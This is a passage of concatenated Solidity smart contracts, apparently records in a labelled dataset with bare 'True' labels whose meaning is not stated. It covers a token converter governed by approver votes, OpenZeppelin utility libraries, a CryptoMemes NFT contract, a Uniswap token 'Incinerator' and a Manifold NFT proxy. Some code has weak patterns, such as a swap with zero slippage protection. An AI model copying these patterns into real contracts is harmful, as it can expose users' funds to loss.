event NewProposal(uint256 indexed id, address indexed token);
event VoteForProposal(uint256 indexed id, address indexed voter, uint256 voterWeight, uint256 approvalsWeight);
event ProposalApplied(uint256 indexed id, address indexed token);
constructor(uint256 weight, uint256 threshold) public {
_setupApprover(_msgSender(), weight);
_setupThreshold(threshold);
}
function convert(address token, uint256 amount) public {
require(_tokens[token], "This token is not allowed to convert");
address msgSender = _msgSender();
IERC20Short(token).burnFrom(msgSender, amount);
IERC20Short(cup()).mint(msgSender, amount);
}
function cup() public view returns (address) {
return _cup;
}
function setCup(address token) public onlyApprover {
require(token != address(0), "New CUP address is the zero address");
require(cup() == address(0), "The CUP address is already setted");
_cup = token;
}
function proposalsCount() public view returns (uint256) {
return _proposals.length;
}
function getProposal(uint256 id) public view returns (Proposal memory) {
return _proposals[id];
}
function addProposal(address token) public onlyApprover returns (uint256) {
uint256 id = _addNewProposal(token);
_voteForProposal(id);
return id;
}
function approveProposal(uint256 id) public onlyApprover {
require(_proposals[id].applied == false, "Proposal has already applied");
require(_approvalsProposal[_msgSender()][id] == false, "Cannot approve transfer twice");
_voteForProposal(id);
}
function _addNewProposal(address token) private returns (uint256) {
require(token != address(0), "Token is the zero address");
uint256 id = _proposals.length;
_proposals.push(Proposal(id, false, token, 0));
emit NewProposal(id, token);
return id;
}
function _voteForProposal(uint256 id) private {
address msgSender = _msgSender();
_approvalsProposal[msgSender][id] = true;
uint256 approverWeight = getApproverWeight(msgSender);
_proposals[id].approvalsWeight = _proposals[id].approvalsWeight.add(approverWeight);
emit VoteForProposal(id, msgSender, approverWeight, _proposals[id].approvalsWeight);
if (_proposals[id].approvalsWeight >= getThreshold())
_applyProposal(id);
}
function _applyProposal(uint256 id) private {
_tokens[_proposals[id].token] = true;
_proposals[id].applied = true;
emit ProposalApplied(id, _proposals[id].token);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
|
True
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pragma solidity ^0.4.18;
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract CryptoMemes is ERC721 {
event Transfer(address from, address to, uint256 tokenId);
event Created(address owner, uint256 tokenId, string url, uint256 hash, uint256 createdAt);
event UrlUpdated(address owner, uint256 tokenId, string url);
modifier onlyOwnerOf(uint256 tokenId) {
require(memeIndexToOwner[tokenId] == msg.sender);
_;
}
modifier onlyOwnerOfContract() {
require(msg.sender == contractOwner);
_;
}
struct Meme {
string url;
uint256 hash;
uint256 createdAt;
}
Meme[] memes;
//the owner can adjust the meme price
address contractOwner;
//the price user must pay to create a meme
uint price;
mapping(uint256 => address) memeIndexToOwner;
mapping(address => uint256) ownershipTokenCount;
mapping(uint => address) memeApprovals;
function CryptoMemes() public {
contractOwner = msg.sender;
price = 0.005 ether;
}
function getPrice() external view returns (uint) {
return price;
}
function getContractOwner() external view returns (address) {
return contractOwner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
ownershipTokenCount[_from]--;
memeIndexToOwner[_tokenId] = _to;
delete memeApprovals[_tokenId];
Transfer(_from, _to, _tokenId);
}
function _createMeme(string _url, uint256 _hash, address _owner) internal returns (uint256) {
uint256 newMemeId = memes.push(Meme({url : _url, hash : _hash, createdAt : now})) - 1;
Created(_owner, newMemeId, _url, _hash, now);
_transfer(0, _owner, newMemeId);
return newMemeId;
}
function createMeme(string _url, uint256 _hash) payable external {
_validateUrl(_url);
require(msg.value == price);
_createMeme(_url, _hash, msg.sender);
}
//validates the url cannot be of ambiguous length
function _validateUrl(string _url) pure internal {
require(bytes(_url).length < 1024);
}
function getMeme(uint256 _tokenId) public view returns (
string url,
uint256 hash,
uint256 createdAt
) {
Meme storage meme = memes[_tokenId];
url = meme.url;
hash = meme.hash;
createdAt = meme.createdAt;
}
function updateMemeUrl(uint256 _tokenId, string _url) external onlyOwnerOf(_tokenId) {
_validateUrl(_url);
memes[_tokenId].url = _url;
UrlUpdated(msg.sender, _tokenId, _url);
}
function totalSupply() public view returns (uint256 total) {
return memes.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return memeIndexToOwner[_tokenId];
}
function approve(address _to, uint256 _tokenId) onlyOwnerOf(_tokenId) public {
memeApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
_transfer(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(memeApprovals[_tokenId] == msg.sender);
address owner = ownerOf(_tokenId);
_transfer(owner, msg.sender, _tokenId);
}
function updatePrice(uint _price) external onlyOwnerOfContract() {
price = _price;
}
function transferContractOwnership(address _newOwner) external onlyOwnerOfContract() {
contractOwner = _newOwner;
}
function withdraw() external onlyOwnerOfContract() {
contractOwner.transfer(address(this).balance);
}
}
|
True
|
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1,
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// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.4;
import "../interfaces/IUniswapRouter.sol";
contract Incinerator {
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IUniswapRouter router;
address public management;
mapping (address => uint) public tokensBurned;
event TokensIncinerated(address tokenAddr, uint amount);
event ManagementUpdated(address oldManagement, address newManagement);
event RouterUpdated(address oldRouter, address newRouter);
modifier managementOnly() {
require (msg.sender == management, 'Only management may call this');
_;
}
constructor(address routerAddr, address mgmt) {
router = IUniswapRouter(routerAddr);
management = mgmt;
}
// change which exchange we send tokens to
function setRouter(address newRouter) external managementOnly {
address oldRouter = address(router);
router = IUniswapRouter(newRouter);
emit RouterUpdated(oldRouter, newRouter);
}
// change the management key
function setManagement(address newMgmt) external managementOnly {
address oldMgmt = management;
management = newMgmt;
emit ManagementUpdated(oldMgmt, newMgmt);
}
// buy tokens at market rate and burn them
function incinerate(address tokenAddr) external payable {
// set amountMin to 0 since we don't care how many tokens we burn
uint amountOutMin = 0;
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = tokenAddr;
address burnAddress = address(0);
uint deadline = block.timestamp + 1;
uint[] memory amounts = router.swapExactETHForTokens{value: msg.value}(amountOutMin, path, burnAddress, deadline);
tokensBurned[tokenAddr] += amounts[1];
emit TokensIncinerated(tokenAddr, amounts[1]);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.4;
interface IUniswapRouter {
event LiquidityAdded(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
// virtual
// override
payable
// ensure(deadline)
returns (uint[] memory amounts);
// {
// require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
// amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
// require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
// IWETH(WETH).deposit{value: amounts[0]}();
// assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
// _swap(amounts, path, to);
// }
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: JASON NAYLOR
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++ ++++++++++++ +++++++++++++ ++++++++++++ +++++++++++ +++ +++++++++++++++++++ //
// ++++++++++++++++++++++ +++++++++++ ++++++++++++ +++++++++++++++ +++ ++++++++++ ++ +++++++++++++++++++ //
// ++++++++++++++++++++++ +++++++++++ + ++++++++++++ ++++++++++ +++++ ++++++++++ +++++++++++++++++++ //
// ++++++++++++++++++++++ ++++++++++ +++++++++++++++ ++++++++++ +++ ++++++++++ + +++++++++++++++++++ //
// ++++++++++++++++++ ++++++++++ +++ ++++++++++ ++++++++++ +++++++++++ ++ +++++++++++++++++++ //
// ++++++++++++++++++++ ++++++++++++++++++++++++++++++++++ ++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// +++++++++ +++ +++++++++++++ +++++++++++ +++ +++++++++ +++++++++++++++ +++++++++++ ++++++++++ //
// +++++++++ ++ +++++++++++++ ++++++++++++ + +++++++++++ ++++++++++++++ +++ ++++++++++ +++ +++++++++ //
// +++++++++ ++++++++++++ + ++++++++++++ ++++++++++++ ++++++++++++++ +++++ ++++++++++ ++ +++++++++ //
// +++++++++ + +++++++++++ ++++++++++++ ++++++++++++ ++++++++++++++ ++++ ++++++++++ +++++++++++ //
// +++++++++ ++ +++++++++++ ++++++++++++ ++++++++++++ ++++++++++ ++++++++++ ++ ++++++++++ //
// ++++++++++ ++++ ++++++++++ ++++ +++++++++++ ++++++++++++++ ++++++++++++ ++++++++++++ +++ ++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract JNAY is ERC721Creator {
constructor() ERC721Creator("JASON NAYLOR", "JNAY") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
